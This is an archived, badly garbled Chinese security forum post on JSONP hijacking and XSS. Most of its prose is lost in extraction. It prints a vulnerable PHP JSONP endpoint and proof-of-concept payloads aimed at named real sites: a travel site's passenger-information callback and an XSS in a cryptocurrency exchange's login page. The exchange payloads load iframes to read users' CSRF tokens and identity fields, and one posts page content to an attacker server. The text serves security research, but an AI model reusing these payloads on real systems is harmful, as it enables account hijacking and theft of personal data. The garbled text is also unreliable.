[18783] 2019-06-04_jsonp相关漏洞

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2019-06-04_jsonp相关漏洞 j s o n p c r h u a   h u a s e c   2 0 1 9 - 0 6 - 0 4 0 1                 j s o n p j s o n   w i t h   p a d d i n g J S O N     J S O N   s c r i p t j s o n               使 J S O N P     J S O N P   访 : c a l l b a c k 使 j s o n w e b j s o n p u s e r i n f o j s o n p 使 g e t U s e r I n f o 0 2                 j s o n p 使 s c r i p t j a v a s c r i p t 使 j a v a s c r i p t   h o o k ( 1 )   X S S x s s   p a y l o a d X S S < ? p h p $ c a l l b a c k   =   $ _ G E T [ ' c a l l b a c k ' ] ; p r i n t   $ c a l l b a c k   .   ' ( { " i d "   :   " 1 " , " n a m e "   :   " c r h u a " } ) ; ' ; ? > < s c r i p t > f u n c t i o n   g e t U s e r I n f o ( v ) {         a l e r t ( v . u s e r n a m e ) ; } < / s c r i p t > < s c r i p t   s r c = " h t t p : / / w w w . h u a s e c . c o m / u s e r i n f o ? c a l l b a c k = g e t U s e r I n f o " > < / s c r i p t >
( 2 ) j s o n p   j s o n p C S R F v p s r e f e r e r < s c r i p t > f u n c t i o n   q u n a r c a l l b a c k ( j s o n ) {     a l e r t ( J S O N . s t r i n g i f y ( j s o n ) ) } < / s c r i p t > < s c r i p t   s r c = " h t t p : / / t i n f o . q u n a r . c o m / t i c k e t / p a s s e n g e r / p a s s e n g e r _ i n f o . j s p ? & t y p e = p a s s e n g e r & c a l l b a c k = q u n a r c a l l b a c k " > < / s c r i p t >
0 3 姿 姿 0 x s s 1 访 u r l u r l : h t t p s : / / w w w . b t c e x . o n e / l o g i n ? m a r k e t = k e t ' % 2 2 ( ) % 2 6 % 2 5 < a c x > < s c r i p t > a l e r t ( 1 ) < / s c r i p t > h t t p s : / / w w w . b t c e x . o n e / s e n c o d v a i l ? t y p e = 6
x s s P O C : t o k e n 2 / l o g i n / u s e r / c e n t e r t o k e n _ I d u r l 访 u r l t o k e n u r l h t t p s : / / w w w . b t c e x . o n e / l o g i n ? m a r k e t = k e t ' % 2 2 ( ) % 2 6 % 2 5 < a c x > < s c r i p t > ( f u n c t i o n ( ) { v a r   i f r = d o c u m e n t . c r e a t e E l e m e n t ( " i f r a m e " ) ; i f r . s e t A t t r i b u t e ( " i d " , " o o x x " ) ; i f r . s e t A t t r i b u t e ( " s r c " , " h t t p s : / / w w w . b t c e x . o n e / s e n c o d v a i l ? t y p e = 6 " ) ; i f r . o n l o a d   =   f u n c t i o n ( )   { v a r   t e s t = d o c u m e n t . b o d y . i n n e r H T M L           $ . p o s t ( v p s , { t e s t : t e s t } ) ;               } ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r ) ; } ) ( ) < / s c r i p t >
使 u r l 访 / u s e r / c e n t e r , t o k e n t o k e n I d 访 访 h a c k e r r e f e r e r t o k e n I d t o k e n x s s i f r a m e t o k e n a j a x h a c k e r t o k e n v p s a j a x t o k e n t o k e n  
P O C : t o k e n t o k e n t o k e n c s r f 3 x s s p o c : h t t p s : / / w w w . b t c e x . o n e / l o g i n ? m a r k e t = k e t ' % 2 2 ( ) % 2 6 % 2 5 < a c x > < s c r i p t > ( f u n c t i o n ( ) { v a r   i f r   =   d o c u m e n t . c r e a t e E l e m e n t ( " i f r a m e " ) ; i f r . s e t A t t r i b u t e ( " i d " , " o o x x " ) ; i f r . s e t A t t r i b u t e ( " s r c " , " h t t p s : / / w w w . b t c e x . o n e / u s e r / c e n t e r " ) ; i f r . o n l o a d   =   f u n c t i o n ( )   {               v a r   t o k e n = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t B y I d ( ' t o k e n I d ' ) . g e t A t t r i b u t e ( ' v a l u e ' ) ;               a l e r t ( t o k e n ) ;               } ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r ) ; } ) ( ) < / s c r i p t > h t t p s : / / w w w . b t c e x . o n e / l o g i n ? m a r k e t = k e t ' % 2 2 ( ) % 2 6 % 2 5 < a c x > < s c r i p t > ( f u n c t i o n ( ) { v a r   i f r   =   d o c u m e n t . c r e a t e E l e m e n t ( " i f r a m e " ) ; i f r . s e t A t t r i b u t e ( " i d " , " o o x x " ) ; i f r . s e t A t t r i b u t e ( " s r c " , " h t t p s : / / w w w . b t c e x . o n e / u s e r / r e a l i n f o " ) ; i f r . o n l o a d   =   f u n c t i o n ( )   { v a r   a = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 0 ] . i n n e r T e x t ; v a r b = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 1 ] . i n n e r T e x t ; v a r   c = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 2 ] . i n n e r T e x t ; v a r d = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 3 ] . i n n e r T e x t ; v a r   e = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 4 ] . i n n e r T e x t ; a l e r t ( e ) ; } ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r ) ; } ) ( ) < / s c r i p t >
h t t p s : / / d v p n e t . i o / d e t a i l ? i d = 1 9 8 1 0 4 B y p a s s j s o n r e f e r e r : ( 1 ) r e f e r e r w w w . 1 2 3 . c o m r e f e r e r ( 2 ) r e f e r e r r e f e r e r
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则